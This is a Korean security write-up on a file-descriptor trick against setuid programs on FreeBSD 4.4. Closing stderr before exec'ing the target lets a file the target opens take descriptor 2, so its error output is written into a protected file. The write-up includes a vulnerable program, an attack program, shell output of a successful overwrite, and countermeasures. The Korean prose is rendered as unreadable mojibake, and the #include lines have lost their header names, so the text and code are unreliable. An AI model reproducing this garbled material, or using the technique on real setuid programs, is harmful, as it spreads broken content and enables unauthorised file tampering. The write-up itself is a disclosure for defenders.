Ä¿³ÎÀÇ ÆÄÀÏ µð½ºÅ©¸³ÅÍ ¹øÈ£ ºÎ¿© ¿À·ù¸¦ ÀÌ¿ëÇÑ ÆÄÀÏ¿¡ ƯÁ¤ ¹®ÀÚ¿­ÀÇ »ðÀÔ °ø°Ý °¡´É¼º Mutacker in Null@Root mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr http://www.kof.co.kr ====================================================================================== 0. µé¾î°¡±â¿¡ ¾Õ¼­ º» ¹®¼­¿¡ ´ëÇÑ ÆÇ±Ç µîÀº ¾ø½À´Ï´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô Çϼŵµ ÁÁÁö¸¸, ±ÛÀÇ ¼öÁ¤Àº »ï°¡ÇØ ÁÖ¼ÌÀ¸¸é ÇÕ´Ï´Ù. ¹°·Ð, ³»¿ë»óÀÇ À߸øµÈ Á¡À̳ª, ÁöÀû »çÇ×Àº À§ÀÇ ¸ÞÀÏ·Î º¸³»Áֽøé, ¼öÁ¤Çϵµ·Ï ÇϰڽÀ´Ï´Ù. ¾Æ¹«ÂÉ·Ï ÇÁ·Î±×·¥ °³¹ßÇϽðųª, °ü¸®ÇϽô ºÐµé¿¡°Ô Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥¿¡¼­ ÀÌ ±ÛÀº ÀÛ¼ºµÇ¾îÁ³À¸¸ç, ¾ÇÀÇÀûÀ¸·Î °ø°ÝÇÏ´Â ¸ñÀûÀ¸·Î ÀÌ¿ëµÇÁö ¾Ê¾ÒÀ¸¸é ÇÕ´Ï´Ù. ====================================================================================== 1. °³¿ä ÀϹÝÀûÀÎ ´ëºÎºÐÀÇ À¯´Ð½º ÇÁ·Î±×·¥Àº ÇÁ·Î±×·¥ÀÌ ½ÃÀÛÇÏ´Â ½ÃÁ¡¿¡¼­ ¼¼°³ÀÇ ÆÄÀÏ ½ºÆ®¸²ÀÌ °³¹æ(open)µÈ »óÅ·ΠÁ¸ÀçÇÏ°Ô µÈ´Ù. ù¹øÂ°´Â ÀԷ¿ëÀ¸·Î, µÎ¹øÂ°´Â Ãâ·Â¿ëÀ¸·Î, ¼¼¹øÂ°´Â ¿¡·¯Ãâ·Â ¿ëÀ¸·Î »ç¿ëµÇ¾îÁø´Ù. ÆÄÀÏ ÀÔÃâ·Â½Ã ¹öÆÛ¸µÀ» ÇÏ´Â °æ¿ìÀÇ ÇÔ¼ö¿¡¼­ »ç¿ëÇϱâ À§ÇÑ stdin, stdout, stderrÀÌ »ç¿ë µÇ¾îÁö¸ç, ½ÇÁ¦ ¹öÆÛ¸µÀ» ÇÏÁö ¾Ê´Â ÇÔ¼öµéÀ» À§Çؼ­´Â, STDIN_FILENO(¼ýÀÚ·Î 0)°ú STD-OUT_FILENO(¼ýÀÚ·Î 1)°ú STDERR_FILENO(¼ýÀÚ·Î 2)À» »ç¿ëÇÏ°Ô µÈ´Ù. stdin, stdout, stderrÀ» ÈçÈ÷ Ç¥ÁØÀÔÃâ·Â ÆÄÀÏ Æ÷ÀÎÅͶó ºÎ¸£¸ç, STDIN_FILENO(0), STD-OUT_FILENO(1), STDERR_FILENO(2)¸¦ ÆÄÀÏ µð½ºÅ©¸³ÅͶó ĪÇϰí ÀÖ´Ù. º¸Åë ÆÄÀÌÇÁ³ª ¸®´ÙÀÌ·º¼Ç°ú °°Àº °ÍÀ» Áö¿øÇϱâ À§ÇØ ÀÌµé ¼¼ °¡Áö µð½ºÅ©¸³Å͵éÀº ºÎ¸ðÇÁ·Î¼¼½º¿¡ ÀÇÇØ close µÇ¾îÁú ¼ö ÀÖ´Ù. ÀÚ½Ä ÇÁ·Î¼¼½º´Â ºÎ¸ðÀÇ ÆÄÀÏ µð½ºÅ©¸³Å͸¦ °è½ÂÇÏ°Ô µÇ±â ¶§¹®¿¡, ¸¸ÀÏ ºÎ¸ðÂÊ¿¡¼­ À̵éÀ» ´Ý¾Æ(close) ¹ö¸®´Â °æ¿ì, ÀÚ½Ä ÇÁ·Î¼¼½ºµµ µ¿ÀÏÇÏ°Ô closeµÇ¾î¹ö¸®´Â È¿°ú¸¦ ¾òÀ» ¼öÀÖ´Â °ÍÀÌ´Ù. ´ëºÎºÐÀÇ À¯´Ð½º ¿î¿µÃ¼Á¦ÀÇ °æ¿ì, óÀ½ ÆÄÀÏÀ» openÇÏ°Ô µÇ¸é ÀÌ ÆÄÀÏÀº ÆÄÀÏ µð½ºÅ©¸³ÅÍ ¹øÈ£ 3¹øºÎÅÍ ºÎ¿©¹Þ°Ô µÇ¸ç, ÀÌ ÈÄ ÆÄÀÏÀÌ ¿ÀÇ µÇ¾îÁö´Â ¼ø¼­¿¡ µû¶ó 4, 5, 6 ½ÄÀ¸·Î ºÎ¿©°¡ µÇ°Ô µÈ´Ù. ±×·¯³ª, ƯÁ¤ Ãë¾àÇÑ ¿î¿µÃ¼Á¦ÀÇ °æ¿ì ¸¸ÀÏ ºÎ¸ð ÇÁ·Î¼¼½º»ó¿¡¼­ close(2); ¸¦ ÇÑ»óÅ¿¡¼­ ÀÚ½Ä ÇÁ·Î¼¼½º¸¦ »ý¼ºÇϰí, ƯÁ¤ ÆÄÀÏÀ» ¿ÀÇÂÇßÀ» ¶§, ÆÄÀÏ µð½ºÅ©¸³ÅÍ ¹øÈ£°¡ 2¹øÀÌ µÇ¾îÁö´Â °æ¿ì°¡ ÀÖ´Ù. ÀÌ¿Í °°Àº »óȲ¿¡¼­ ¸¸ÀÏ stderrÀ» ÅëÇØ ¿¡·¯¸Þ½ÃÁö¸¦ Ãâ·ÂÇÒ °æ¿ì, À̴ ǥÁØ ¿¡·¯ÀåÄ¡·ÎÀÇ Ãâ·ÂÀÌ ¾Æ´Ñ openµÇ¾î ÀÖ´Â ÆÄÀÏ¿¡ ±× ³»¿ëÀÌ ±â·ÏÀÌ µÇ¾î¹ö¸®´Â °ÍÀÌ´Ù. ¸¸ÀÏ ±× ÆÄÀÏÀÌ setuid°¡ °É·Á ÀÖ´Â »óÅÂÀÇ °æ¿ì, ±ÇÇÑ ¹ÛÀÇ ÆÄÀÏ¿¡ ³»¿ëÀ» Ãß°¡½ÃŰ°Å³ª ¼öÁ¤ÇÒ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù. À̰°Àº Çö»óÀº ¿î¿µÃ¼Á¦ Ä¿³Î»óÀÇ ¿À·ù·Î ¸¸ÀÏ º»ÀÎÀÌ »ç¿ëÇÏ´Â ½Ã½ºÅÛÀÌ ÀÌ¿Í °°Àº °á°ú¸¦ º¸Àδٸé Ä¿³Î ÆÐÄ¡¸¦ Àû±Ø °í·ÁÇØ º¸¾Æ¾ß ÇÒ °ÍÀÌ´Ù. ====================================================================================== 2. ½ÇÇèÀ» À§ÇÑ ½Ã½ºÅÛ FreeBSD badc0ded.datafort.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT 2001 murray@builder.FreeBSD.org:/usr/src/sys/compile/GENERIC i386 (datafort °ÔÀÓ ¼­¹ö »ó¿¡¼­ ½ÇÇè - °ü¸® ÁßÀÎ FreeBSD ½Ã½ºÅÛÀÌ ¾ø¾î¼­¸®.. ^^;;) ====================================================================================== 3. ½ÇÇèÀ» À§ÇÑ ÇÁ·Î±×·¥ ------- Ãë¾à¼º ÇÁ·Î±×·¥ -------------------------------- // cat > vul.c // gcc -o vul vul.c #include #include #include #include int main(int argc, char **argv) { int fd=open("./vultest.txt",O_RDWR); if(fd == -1) { fprintf(stderr, "./vultest.txt can not open...\n\n"); return -1; } printf("vultest.txt read/write: fd=%d\n", fd); fprintf(stderr, "%s\n", argv[1]); return 0; } ------------------------------------------------------ ------- °ø°Ý¿ë ÇÁ·Î±×·¥ -------------------------------- #include #include #include #include int main(int argc, char **argv) { close(2); execl("./vul", "./vul", "Hacking example!!!", 0); } ------------------------------------------------------ ====================================================================================== 4. ½ÇÇè °á°ú 4.2 FreeBSD x86 ----- level2 login °ø°Ý´ë»ó ÇÁ·Î±×·¥ »ý¼º bash-2.05$ ls -al total 16 drwxr-xr-x 2 level2 wheel 512 Oct 9 01:15 . drwxrwxrwt 141 root wheel 7680 Oct 9 01:15 .. -rwsr-xr-x 1 level2 wheel 5063 Oct 9 01:15 vul -rw-r--r-- 1 level2 wheel 492 Oct 9 01:15 vul.c -rwx------ 1 level2 wheel 14 Oct 9 01:17 vultest.txt bash-2.05$ pwd /tmp/mu bash-2.05$ id uid=1002(level2) gid=1002(level2) groups=1002(level2) bash-2.05$ cat vul.c // cat > vul.c // gcc -o vul vul.c #include #include #include #include int main(int argc, char **argv) { int fd; printf("vul started...\n"); fd=open("/tmp/mu/vultest.txt",O_RDWR); if(fd == -1) { fprintf(stderr, "./vultest.txt can not open...\n\n"); printf("error\n"); return -1; } printf("vultest.txt read/write: fd=%d\n", fd); fprintf(stderr, "%s\n", argv[1]); return 0; } bash-2.05$ cat vultest.txt Not hacked... ----- level1 login °ø°Ý ÇÁ·Î±×·¥ »ý¼º ¹× ½ÇÇà bash-2.05$ ls -al total 19 drwxr-xr-x 2 level1 wheel 512 Oct 9 01:10 . drwx-wx-wx 106 root wheel 11776 Oct 7 03:10 .. -rwxr-xr-x 1 level1 wheel 4517 Oct 9 01:10 attack -rw-r--r-- 1 level1 wheel 203 Oct 9 01:10 attack.c bash-2.05$ cat attack.c #include #include #include #include int main(int argc, char **argv) { close(2); execl("/tmp/mu/vul", "/tmp/mu/vul", "Hacking example!!!", 0); } bash-2.05$ ./attack vul started... vultest.txt read/write: fd=2 ----- level2 login °ø°Ý ÈÄÀÇ °á°ú È®ÀÎ bash-2.05$ cat vultest.txt <== °ø°Ý Àü Not hacked... bash-2.05$ cat vultest.txt <== °ø°Ý ÈÄ Hacking example!!! ====================================================================================== 5. Ÿ ½Ã½ºÅÛ¿¡¼­ÀÇ ½ÇÇè °á°ú ÀÌ¿Í µ¿ÀÏÇÑ ¹æ½ÄÀ» ÀÌ¿ëÇÏ¿© Sparc»ó¿¡¼­ µ¿ÀÛ ÁßÀÎ ¸®´ª½º¿Í x86»ó¿¡¼­ µ¿ÀÛ ÁßÀÎ ¸®´ª½º¿¡ ´ëÇØ Àû¿ëÇØ º¸¾ÒÀ» °æ¿ì, setuid°¡ ºÙ¾î ÀÖÁö ¾ÊÀº ½ÇÇàÆÄÀÏ¿¡ ´ëÇØ¼­´Â fd °ªÀÌ 2·Î ºÎ¿©°¡ µÇÁö¸¸, setuid°¡ Àû¿ëµÇ¾îÁø ½ÇÇàÆÄÀÏÀÇ °æ¿ì¿¡´Â fd°ªÀÌ 3À¸·Î ºÎ¿©µÇ¾îÁüÀ» È®ÀÎ ÇÏ¿´´Ù. ÇÏÁö¸¸, ¿©ÀüÈ÷ fd°ªÀÌ 2·Î Ãâ·ÂµÇ¾îÁö´Â ºÎºÐÀÌ Á¸ÀçÇϹǷΠÀÌ ºÎºÐ¿¡ ´ëÇØ¼­´Â Á» ´õ ½ÇÇèÇØ º¼ Çʿ䰡 ÀÖÀ» °Í °°´Ù. [mutacker@sun fde]$ ./attack <== setuid°¡ ¾ø´Â ´ë»ó ÇÁ·Î±×·¥ (Linux) vultest.txt read/write: fd=2 [mutacker@sun fde]$ ./attack <== setuid°¡ ºÙÀº ´ë»ó ÇÁ·Î±×·¥ (Linux) vultest.txt read/write: fd=3 ====================================================================================== 6. °á·Ð ÇöÀç ´Ù¾çÇÑ Á¾·ùÀÇ ¿î¿µÃ¼Á¦¿¡¼­ À̿Ͱ°ÀÌ Ç¥ÁØ ¿¡·¯ ÀåÄ¡¿¡ ´ëÇØ ºÎ¸ð°¡ close¸¦ ÇÏ¿´À» °æ¿ì, ÀڽĿ¡°Ô ±×´ë·Î ½Â°è°¡ µÇ¾îÁö°í, ÀÌ¿Í °°Àº »óȲ¿¡¼­ ƯÁ¤ ¿î¿µÃ¼Á¦ÀÇ °æ¿ì »õ·Î Á¤»ó openÇÏ´Â ÆÄÀÏ¿¡ ´ëÇØ ÆÄÀÏ µð½ºÅ©¸³ÅÍ ¹øÈ£°¡ Ç¥ÁØ ¿¡·¯ ÀåÄ¡ÀÇ ¹øÈ£°¡ ºÎ¿©µÇ°Ô µÇ´Â °æ¿ì°¡ ÀÖÀ¸¸ç, À̶§ ÇÁ·Î±×·¥ Áß°£¿¡ Ç¥ÁØ ¿¡·¯ÀåÄ¡·Î ¿¡·¯ »óȲÀ» ¾Ë¸®´Â ÇÁ·Î±×·¥ÀÇ °æ¿ì ±× ³»¿ëÀÌ »õ·Î openµÈ ÇÁ·Î±×·¥À¸·Î Ãâ·ÂÀÌ ÀÌ·ç¾îÁö´Â °æ¿ì°¡ ¹ß»ýÇÒ ¼ö ÀÖÀ½À» ¾Ë ¼ö ÀÖ¾ú´Ù. ====================================================================================== 7. ´ëºñÃ¥ ÀÌ¿Í °°Àº Çö»ó¿¡ ´ëÇØ °£´ÜÇÑ ´ëºñÃ¥À¸·Î´Â ÆÄÀÏÀ» ¿ÀÇÂÇßÀ» ¶§, µð½ºÅ©¸³ÅÍ ¹øÈ£°¡ 2Àΰ¡¸¦ È®ÀÎÇϰí, ¸¸ÀÏ 2 À̶ó¸é ÇÁ·Î±×·¥À» Á¾·á¸¦ ½ÃŰ´Â ¹æ¹ýÀ» ÅëÇØ °ø°ÝÀ» ¸·À» ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¶ÇÇÑ, óÀ½ ±×Àú ºÒÇÊ¿äÇÑ ÆÄÀÏÀ» Çϳª ¸¸µé°í, ù¹øÂ° ±× ºÒÇÊ¿äÇÑ ÆÄÀÏÀ» openÀ» Çϰí, µÎ¹øÂ° ºÎÅÍ ½ÇÁ¦ Áß¿äÇÑ ÆÄÀÏÀ» openÇÏ´Â ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© À̸¦ ¸·À» ¼ö ÀÖÀ¸¸®¶ó º»´Ù. ====================================================================================== 8. Âü°íÀÚ·á http://www.securiteam.com/exploits/5GP0S0K6UW.html